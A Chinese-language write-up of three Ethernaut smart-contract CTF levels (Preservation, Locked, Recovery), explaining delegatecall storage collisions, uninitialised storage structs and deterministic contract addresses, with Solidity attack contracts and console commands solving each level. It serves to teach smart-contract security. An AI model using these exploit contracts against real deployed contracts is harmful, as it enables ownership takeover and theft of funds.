智能合约CTF:Ethernaut Writeup Part 4

2018-08-01 10:06 区块链 智能合约

续《智能合约CTF:Ethernaut Writeup Part 3》第四章节

图1

前不久,Ethernaut 更新了三道题目,是来自 Dr Adrian Manning 大佬的杰作。不认识?如果你对 solidity 安全有一定研究,相信你一定看过 《Solidity Security: Comprehensive list of known attack vectors and common anti-patterns》 这篇文章吧。这三道题也比较偏深入一点,需要你对存储、数据类型以及以太坊的运行逻辑有一定的了解。事不宜迟,马上开始。

16.Preservation

关卡说明:

这个合约利用库合约为两个不同的时间域存储两不同的时间。构造函数为这每个存储创建了实例。本关目标是声明并拥有实例的所有权。

Tips:

  1. delegatcall 的工作原理
  2. delegatcall 功能进行保存文本的意义
  3. 存储变量如何存储与获取
  4. 如何破解不同的数据类型

题目代码:

pragma solidity ^0.4.23;

contract Preservation {

  // public library contracts
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner;
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress;
    timeZone2Library = _timeZone2LibraryAddress;
    owner = msg.sender;
  }

  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

解题方法:

delegatecall 定义:<address>.delegatecall(...) returns (bool): issue low-level DELEGATECALL, returns false on failure, forwards all available gas, adjustable

call与delegatecall的功能类似,区别仅在于后者仅使用给定地址的代码,其它信息则使用当前合约(如存储,余额等等)。注意 delegatecall 是危险函数,他可以完全操作当前合约的状态。

delegateCall 方法仅仅使用目标合约的代码, 其余的 storage 等数据均使用自己的,合约的访问操作 sstore(p, v) 是根据代码中记录的标准位置而来。这就使得某些访存操作会错误的处理对象。

本题解题方法如下:

1 将题目代码与下面代码放到 remix 中,使用 import 加载题目代码。

pragma solidity ^0.4.23;

import './Preservation.sol';

contract Attacker {
    function exploit(address _pre,uint _mlc) public {
        Preservation victim = Preservation(_pre);/* Preservation instance address */
        victim.setSecondTime(_mlc);/* MalignantLibraryContract address */
        victim.setFirstTime(0);
    }
}

contract MalignantLibraryContract {
  uint pad1;
  uint pad2;
  address public owner;

  function setTime(uint _time) public {
      owner = tx.origin;
  }
}

3 部署 AttackerMalignantLibraryContract 合约。

图2
图3

4 将题目实例地址和 MalignantLibraryContract 合约地址作为参数执行 exploit (有时会 Out of gas 报错,要把 gas limit 调高一些)。

图4

5 在 console 口查看题目实例 owner ,若变为你的账户地址则攻击成功。

17.Locked

关卡说明:

这个名称注册合约被锁住,无法接收新名称注册。本关目标是解锁注册。

Tips:

  1. 理解存储的工作原理
  2. 理解默认的本地变量存储类型
  3. 理解存储(storage)与内存(memory)的异同。

题目代码:

pragma solidity ^0.4.23;

// A Locked Name Registrar
contract Locked {

    bool public unlocked = false;  // registrar locked, no name updates

    struct NameRecord { // map hashes to addresses
        bytes32 name; //
        address mappedAddress;
    }

    mapping(address => NameRecord) public registeredNameRecord; // records who registered names
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses

    function register(bytes32 _name, address _mappedAddress) public {
        // set up the new NameRecord
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress;

        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord;

        require(unlocked); // only allow registrations if contract is unlocked
    }
}

解题方法:

这个题目涉及到变量覆盖漏洞的原理,合约中使用下面这种方式实例化结构体及对结构的赋值会造成变量覆盖。

NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;

原因是:

1 结构体默认为存储(storage)。可见官方文档 structs

图5

2 使用上面这种隐式声明的写法部署时不会报错,只有 warning 信息,可以部署成功。(声明为 storage 会报错,正确的方法应该是声明为 memory)

图6

因此,本题目解题方法如下:

1 在 console 窗口执行下面语句,改变 unlocked 变量为 true

contract.register("0x0000000000000000000000000000000000000000000000000000000000000001",0x001..) // 后面为你的钱包地址

2 执行 contract.unlocked() 查看,unlocked 已经变为 true,即可完成本关。

18.Recovery

关卡说明:

一个合约创建者已经创建一个非常简单的通证工厂合约。任何人者可以简单地创建新的通证。在部署第一个通证合约之后,创建者发送 0.5 ether 以获得更多通证,但发现丢失了合约地址。本关目标为从丢失的合同地址中恢复(或删除)0.5 ether。

题目代码:

pragma solidity ^0.4.23;

contract Recovery {

  //generate tokens
  function generateToken(string _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);

  }
}

contract SimpleToken {

  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  function() public payable {
    balances[msg.sender] = msg.value*10;
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public {
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] -= _amount;
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address _to) public {
    selfdestruct(_to);
  }
}

解题方法:

合约地址是确定性的,由 keccack256(address,nonce) 计算。(其中 address 是合约的地址(或创建交易的以太坊地址),而 nonce 是合约生产其它合约的一个数值(或者对于常规交易来说是交易的nonce))。

address = sha3(rlp_encode(creator_account, creator_account_nonce))[12:]

因此,可以将 ether 发送到预先确定的地址(没有私钥的地址),然后在该地址创建一个恢复 ether 的合约。 这是一种非直观且相对隐秘的(也相对危险的)不持有私钥来存储以太的方法。

Martin Swende 撰写的一篇有趣的博客文章详细介绍了此案的潜在用例:http://swende.se/blog/Ethereum_quirks_and_vulns.html

如果您要实施此技术,请确保您不会错过 nonce ,否则您的资金将永远丢失。

做这道题时一直在想,为什么要把这个地址叫做 the lost contract address,然后我测了一下,发现原来部署完生产合约后,使用 generateToken() 生产的合约地址直接跳过了这个 nonce1 地址,从 nonce2 开始的。即keccak256(rlp.encode([0x76eca404cc5c5bd3d3b28f3043adc0867ac4ba79, 2])

contract_address of none0: df57f903b5f9b0abac76cf9321213564fe99c2e2
contract_address of none1: 76d28fc082e023ba7e46f91a2ff0171b0dbf27b2 # the lost contract address
contract_address of none2: 76e9544d1c646ceae09ea8c8d8614d910d283073 # generateToken() first time
contract_address of none3: 38ad64a54350ada9ed3aedfad869dc2bb93f2473 # generateToken() second time
contract_address of none4: 44c6d24b9c8494cb532f668aaa0fb5620f1ac4e7 # ...
contract_address of none5: 90fd87760237563d7d20946b79aa3cd1cf4f151a
contract_address of none6: 6c87ba0aa3bea6ba8aaea54389a87df5dc00c391
contract_address of none7: e45644afe475880f8cfba02d83677583b55d2fe3
contract_address of none8: a5151fc7e6075967b4cab11cd96b95d283b68b73
contract_address of none9: 414048ec1888beef53006b13540f40438b82d480

所以,发送给nonce1的 ether 就 loss 了。同时,我也在相关的文档中看到这句话:The same is true for contracts, except contracts nonce's start at 1 whereas address's transaction nonce's start at 0

最终本题解决方法如下:

1 从 console 窗口看到实例地址: 0x76eca404cc5c5bd3d3b28f3043adc0867ac4ba79

2 通过 ropsten.etherscan.io 找到这个实例的交易信息:
https://ropsten.etherscan.io/address/0x76eca404cc5c5bd3d3b28f3043adc0867ac4ba79

3 再通过其交易信息找到生产合约 lost contract 的地址:0x76d28fc082e023ba7e46f91a2ff0171b0dbf27b2

4 在 remix 贴上题目代码,在部署处,合约选择 SimpleToken, 使用 At address 指定 lost contract 地址

图7

5 执行 destroy(player_address)

6 查看合约地址可以看到已经被销毁,即可完成本关:https://ropsten.etherscan.io/address/0x76d28fc082e023ba7e46f91a2ff0171b0dbf27b2#internaltx

图8

一些结束语

不知不觉, Ethernaut Writeup 已经做到 part 4 了。其实现在市面上也有不少智能合约相关的 CTF,不过漏洞原理大同小异, Ethernaut 相对来说比较权威,难度也较大,随着我们 writeup 的更新,官方也在更新着题目。目前已有的题目的 writeup 是已经全部更新完毕了。从一开始做的时候还有别人的解题过程可以参考,到后来的没得参考,题目还越来越难,这对我来说是一种磨练,同时也对 solidity 研究越来越深入。
我在写这个 writeup 的时候,力求过程完整、原理清晰,希望通过这个系列,帮助大家在这个领域更好地入门与探索。如果有意交流,可以与我联系,同时,也非常欢迎有求职意向的朋友。


作者:斗象能力中心TCC-Ali0th

BTW, TCC team长期招聘,包含安全研究、机器学习、数据分析、大数据等职位。感兴趣不妨发简历联系我们。Email: alex.xu@tophant.com。

评论(4)

匿名

2019/03/06 11:11
试试

匿名

2019/03/06 11:10
我手机上

匿名

2019/03/06 11:10
6655

匿名

2019/03/06 10:26
666

发表评论

captcha